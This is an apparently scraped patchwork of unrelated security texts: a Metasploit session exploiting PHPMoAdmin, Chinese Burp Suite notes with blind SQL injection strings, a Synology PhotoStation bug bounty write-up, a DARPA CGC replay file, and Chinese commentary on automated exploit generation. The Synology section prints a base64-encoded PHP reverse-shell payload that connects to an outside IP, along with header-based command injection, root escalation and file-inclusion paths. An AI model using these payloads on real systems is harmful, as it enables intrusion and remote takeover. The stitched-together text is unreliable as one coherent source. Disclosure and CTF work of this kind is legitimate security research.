msf > search phpmoadmin Matching Modules ================ Name Disclosure Date Rank Description ---- --------------- ---- ----------- exploit/multi/http/phpmoadmin_exec 2015-03-03 excellent PHPMoAdmin 1.1.2 Remote Code Execution msf > use exploit/multi/http/phpmoadmin_exec msf exploit(phpmoadmin_exec) > show options Module options (exploit/multi/http/phpmoadmin_exec): Name Current Setting Required Description ---- --------------- -------- ----------- Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOST yes The target address RPORT 80 yes The target port (TCP) SSL false no Negotiate SSL/TLS for outgoing connections TARGETURI / yes The URI path of the PHPMoAdmin page VHOST no HTTP server virtual host Exploit target: Id Name -- ---- 0 PHPMoAdmin msf exploit(phpmoadmin_exec) > set RHOST 172.16.42.110 RHOST => 172.16.42.110 msf exploit(phpmoadmin_exec) > exploit
簡單介紹一下各個頁籤
1. Target:我們上網流程中，全部經過哪些站台
比如說我們來實驗一下:
a. 我們先用firefox的外掛FoxyProxy，設定自己本基為代理伺服器”localhost:8080”(先於選項呢 設定localhost:8080)
b. 設定好以後，Burp Suite的proxy就會亮
c. Proxy這個頁籤裡面就是有你有那些參數那些封包等等
d. 不要的話就把他先暫停掉，history裡面會有結果
e. Target就會有站台的assignment。
2. 如果想要對以前送過的封包做修改的話，就點proxy->http history->網址點選右鍵->send to repeater。封包就會送到repeater那邊給你自由修改啦
a. 點進去repeater裡面，左邊是可以讓你修改的。
b. 改好以後按一下go
c. 右邊就是他的response
(右邊旁邊的HTML也可以看到網頁被修改完的樣式唷)
3.Spider的話就是把你站內的站臺都去爬一次。打開來的話，會發出很大量的packet喔
4.Scanner 又可以分成主動和被動式的掃描
5. Intruder 去挖掘未知的漏洞。從剛剛Proxy裡面，按右鍵 send to intruder
我們來檢視兩種情況:正確和不正確的(出現hello admin 和沒有的)(分別送出兩種結果的封包)
(可以用?pw= ‘ or (id=’admin’ and substring(pw,1,1)=’2′) %23和?pw= ‘ or (id=’admin’ and substring(pw,2,1)=’2′) %23 來測試)
然後把封包結果送出去comparer(選取兩個後按右鍵->send to comparer responses)
Last year ( 2016 ) , we BambooFox were invited to join the Synology Bug Bounty program. After about 2 months of hacking, we discovered several vulnerabilities, including a remote root code execution vulnerability. Synology engineers response and fix the vulnerabilities in a very short time, which shows they pay a lot of attention to security issues.
And now ( in 2017 ) , we are allowed to publish the vulnerabilities:
Vul-01 PhotoStation Login without password
Vul-02 PhotoStation Remote Code Execution
Vul-03 Read-Write Arbitrary Files
Vul-04 Privilege Escalation
Vul-05 DoS via Blocking IP
Vul-06 Local File Inclusion
Vul-01: PhotoStation Login without password
We mostly focus on PhotoStation, which is the picture management system enabled in most Synology DSM ( DiskStation Manager ).
The first vulnerability allowed us to login as admin without entering the password.
The key points are the | character in the X-Forwarded-For field and /bin/true in the get parameter SynoToken. The server site CGI will concatenate the strings in usr, X-Forwarded-For and SynoToken into a command and execute the command, and the special characters | and > aren’t filtered out correctly, which will lead to the command injection vulnerability.
Once the $pass variable is &, the command will be executed in the background and always return 0 (true), thus the adversary can login as admin.
Vul-02: PhotoStation Remote Code Execution
After we successfully login as admin via the command injection vulnerability, we extended the attack surface to attempt remote code execution.
PoC2: 1 . Encode the command into base64 format base64encode( $sock=fsockopen("......",8080);exec("/bin/sh -i <&3 >&3 2>&3"); ) => JHNvY2s9ZnNvY2tvcGVuKCIzNi4yMzEuNjguMjE1Iiw4MDgwKTtleGVjKCIvYmluL3NoIC1pIDwmMyA+JjMgMj4mMyIpOw== 2 . Send the payload GET //photo/login.php?usr=|&sid=php&SynoToken=eval%28base64_decode%28%22JHNvY2s9ZnNvY2tvcGVuKCIzNi4yMzEuNjguMjE1Iiw4MDgwKTtleGVjKCIvYmluL3NoIC1pIDwmMyA%2bJjMgMj4mMyIpOw%3D%3D%22%29%29%3B HTTP/1.1 Host: bamboofox.hopto.org User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: zh-TW,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate, br X-Forwarded-For: -r Cookie: stay_login=0; language=en; PHPSESSID=ime6mqrg0pghbjo4p9aomqcbv0; left-panel-visibility=show Connection: close
We adopted a similar approach (PoC1) in order to achieve RCE. We then took a deep look into the source code of PhotoStation, and found the following code:
In this code snippet, $user, $ip and $synotoken can be easily controlled by crafting the HTTP headers, and that’s the original cause of the command injection vulnerability. Our first few attempts failed due to the site filtered out some special characters. However, we noticed that the site did not filtered out all the special characters. Here’s the code that indicated the non-filtered characters:
static $skipEscape = array('>', '<', '|', '&');
As a result of the code above, >, <, | and & can be used to achieve command injection.
Vul-03: Read-Write Arbitrary Files
After we got the shell, we continued to find security flaws in the DSM. The binary program synophoto_dsm_user got our attention. This binary is a setuid program, and has a powerful copy function. With the --copy root parameter, it will do the cp command and copy a file with the root permission. This make us have the ability to read/write an arbitrary file .
Vul-04: Privilege Escalation
With the previous Vul-02 ( RCE ) and Vul-03 ( Read-Write Arbitrary Files ), we can exploit the vulnerability and escalate our privilege to root. We first tried modify the /etc/crontab file, but failed due to the AppArmor protection. So we change our target to the file that will be invoked by crontab. Finally we found /tmp/synoschedtask, a task which will be invoked by crontab as root. We use synophoto_dsm_user to modify its file content to the following command:
Now we can wait for our reverse shell, with the root permission.
Also by exploiting Vul-02 and Vul-03, we’re able to login the service as admin. If the admin is logged in, we can use the following command to get the admin’s session ID:
Although the server side will check the admin’s IP address, but the check can be bypassed easily by forging the X-Forwarded-For header.
Login as admin give us the ability to execute command with the root permission. For example, we can execute our own command as root with the help of Task Scheduler. This result in a privilege escalation as well.
Vul-05: DoS via Blocking IP
We also found some other security flaws. If a user sends too many requests to forget_passwd.cgi, the user will be blocked by his IP, which is retrieved from the X-Forwarded-For header. However, X-Forwarded-For can be easily forged from the client side, therefore an attacker can block as many users as he wants by forging the X-Forwarded-For header, leading a DoS attack.
Vul-06: Local File Inclusion
There’s a LFI (Local File Inclusion) vulnerability in download.php. The id parameter is controllable.
For example, we can use ../../../../../../var/services/homes/[username]/.gitconfig to download a user’s git config file.
Timeline
2016/07/25 Report vulnerabilities to Synology
2016/09/01 Confirm that all vulnerabilities have already been fixed by Synology
2017/03/13 Confirm that we’re allowed to publish the bug bounty report
2017/03/20 Synology Bug Bounty Report published
Note
Some of the vulnerabilities have already been discovered by Lucas Leong from Trend Micro ( link )
<?xml version=“1.0” standalone=“no” ?> <!DOCTYPE pov SYSTEM “/usr/share/cgc-docs/replay.dtd”> <pov> <cbid>service</cbid> <seed>ec640096e6c1a14ed790ac57e1af6a5735ad9c9094e94bf01c54800625181db12c9bcd2f50f8d76e3477cb0f8cd95975</seed> <replay> <read><delim>\x0a</delim><match><data>\x0a</data></match></read> <read><delim>\x0a</delim><match><data>Welcome to Palindrome Finder\x0a</data></match></read> <read><delim>\x0a</delim><match><data>\x0a</data></match></read> <read><length>37</length><match><data>\x09Please enter a possible palindrome: </data></match></read> <write><data>f8uvu9HY9fJmvWnccovA4hDdc\x0a</data></write> <read><delim>\x0a</delim><match><data>\x09\x09Nope\x2c that\x27s not a palindrome\x0a</data></match></read> <read><delim>\x0a</delim><match><data>\x0a</data></match></read> <read><length>37</length><match><data>\x09Please enter a possible palindrome: </data></match></read> <write><data>XV3MHHvJp\x0a</data></write> <read><delim>\x0a</delim><match><data>\x09\x09Nope\x2c that\x27s not a palindrome\x0a</data></match></read> <read><delim>\x0a</delim><match><data>\x0a</data></match></read> <read><length>37</length><match><data>\x09Please enter a possible palindrome: </data></match></read> <write><data>bGqRQMgK69RzHhT7ssKwotKOoqk8\x0a</data></write> <read><delim>\x0a</delim><match><data>\x09\x09Nope\x2c that\x27s not a palindrome\x0a</data></match></read> </replay> </pov>
接著我們來測試攻擊碼能不能成功，cb-test這個工具可以幫我們完成相當多的測試。
cd /usr/share/cgc-sample-challenges/examples/CADET_00003 cb-test –xml_dir pov –director bin –cb CADET_00003 –should_core
David Brumley教授在軟體漏洞自動化上已經有相當久的研究基礎，在2011年NDSS會議上，發表了“AEG: Automatic Exploit Generation”，可以說是開啟了自動化漏洞利用的研究。2012年的S&P會議上，進一步發表AEG系統的後續研究“Unleashing Mayhem on Binary Code”，更是此次CGC中使用的Mayhem系統的原型。在2015年CGC出賽時，ForeAllSecure以相當程度的領先拿下了第一名的寶座，有興趣的讀者也可以進一步閱讀他們的Blog文章。 “Unleashing the Mayhem CRS”(https://blog.forallsecure.com/2016/02/09/unleashing-mayhem/)。 讓我們期待在經過一年後，ForAllSecure能夠有多少的進步，並是否能順利拿下CGC冠軍。
CSDS是安全及可信賴系統中心，這次成為CGC決賽選手，參與全世界第一個完全由機器進行的CTF（capture the flag）競賽。駭客版本的搶旗遊戲，幾乎就像我們參與過的搶旗遊戲，但是所謂的”旗幟“是由電腦資料組成，而戰場則是一行行的程式碼。而CTF選手必須進行逆向工程，去攻擊並且修復這些程式。
